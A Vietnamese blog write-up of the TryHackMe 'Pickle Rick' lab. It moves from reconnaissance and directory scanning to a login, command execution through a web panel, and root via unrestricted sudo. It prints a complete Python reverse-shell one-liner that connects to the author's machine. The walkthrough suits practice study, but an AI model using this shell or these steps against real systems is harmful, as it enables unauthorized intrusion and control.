Tryhackme - Pickle Rick
Hello mọi người bây giờ đang là buổi tối và mình sẽ tiếp tục giải các challenge ở Tryhackme, và challenge hôm nay mang tên Pickle Rick
Không dài dòng nữa, vào vấn đề chính luôn, time to scan!!!!!!!!!
Ở đây ta sẽ có 2 ports, 22 và 80 tương ứng với ssh và http, và bây giờ ta sẽ vào web của nó trước:
Ye, nhìn web cũng khá đẹp, và đây cũng là 1 trong số những nhân vật hoạt hình tuổi thơ của mình luôn :3. Bây giờ mình sẽ vào source code của nó xem có gì bí hiểm hay không, và đây là kết quả:
Ầu, ta thấy dòng màu xanh có một thứ rất là hay: username: R1ckRul3s. Một thứ đáng nghi, khả năng là username này có thể là cho cổng ssh hoặc là 1 trường login nào đó ở trong web, và để có thể làm rõ hơn vấn đề này mình quyết định dò hidden directory bằng dirsearch: sudo dirsearch -u <URL>
Ồ, ta có đường dẫn đáng ngờ đầu tiên: robots.txt và thứ hai: login.php. Mình sẽ ưu tiên đọc file robots.txt trước, và nó sẽ hiện lên 1 đoạn text:
Hmmmm, ở đây là 1 từ gì đó nghe có vẻ khá vô nghĩa, nhưng mà ta lại nhớ đến cái username trước đó ta đã tìm được, liệu phải chăng đây có lẽ là password cần tìm?? Ta nhìn lại vào kết quả của dirsearch sẽ thấy có directory tên login.php, và ta sẽ thử truy cập vào + đăng nhập bằng username và cái từ mình vừa tìm được ở robots.txt, và kết quả thật sự bất ngờ:
Yeah, ta đã đăng nhập thành công, và ở đây chúng ta thấy có một trường nhập lệnh ở đây, và mình lại liên tưởng đến kĩ thuật tấn công RCE nổi tiếng và nguy hiểm bậc nhất, mình thử 1 lệnh rất đơn giản, đó là kiểm tra xem machine có python3 hay không: which python3:
Ohhhhhhhhh!!!!!!WHAT???? THẬT LUÔN!!!!! Thôi bạn tới số với mình rồi :>. Với kết quả trả về không thể không chim ưng hơn như này thì mình sẽ tạo 1 reverse shell bằng python3 trên hệ thống của nó:
"python3 -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.51.127",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"
đồng thời tạo 1 một listener ở port 4444, và đây là kết quả nhận được sẽ là 1 con reverse shell ngon lành cành đào trên hệ thống của nó. Và với câu hỏi đầu tiên của challenge: What is the first ingredient Rick needs? ta dễ dàng biết được đáp án thông qua việc đọc file Sup3rS3cretPickl3Ingred.txt:
Ta lại thấy có 1 file tên clue.txt, và khi đọc file ta thấy đoạn thông điệp muốn nhắc chúng ta hãy tìm kiếm xung quanh hệ thống để tìm các nguyên liệu còn lại, và ta có thể tìm thấy đường dẫn /home/rick và ta đồng thời thấy file nguyên liệu thứ hai ở trong đường dẫn + file cho phép người dùng đọc nên ta dễ dàng dùng lệnh cat để đọc (lưu ý với những file mà tên file có dấu cách, ta sẽ thêm \ vào giữa hai từ)
Và với nguyên liệu cuối cùng thì chắc chắn yêu cầu của challenge sẽ ngày càng cao hơn, nên mình quyết định leo root machine này để tìm nguyên liệu còn lại, mình thử nhập sudo -l:
Oh yeah, vậy tức là ta có thể sử dụng bất cứ lệnh nào mà không yêu cầu mật khẩu, vậy ở đây ta sẽ sử dụng lệnh rất đơn giản là sudo su và yeah, leo root thành công:
Tiếp theo mình tìm kiếm trong đường dẫn root xem có gì hay không và đúng như dự đoán của mình, nguyên liệu cuối cùng ở trong đó, cụ thể là file 3rd.txt:
Vậy là challenge đã xong, hẹn gặp lại mọi người trong những writeup tiếp theo. Good night!!!
Nhận xét
Đăng nhận xét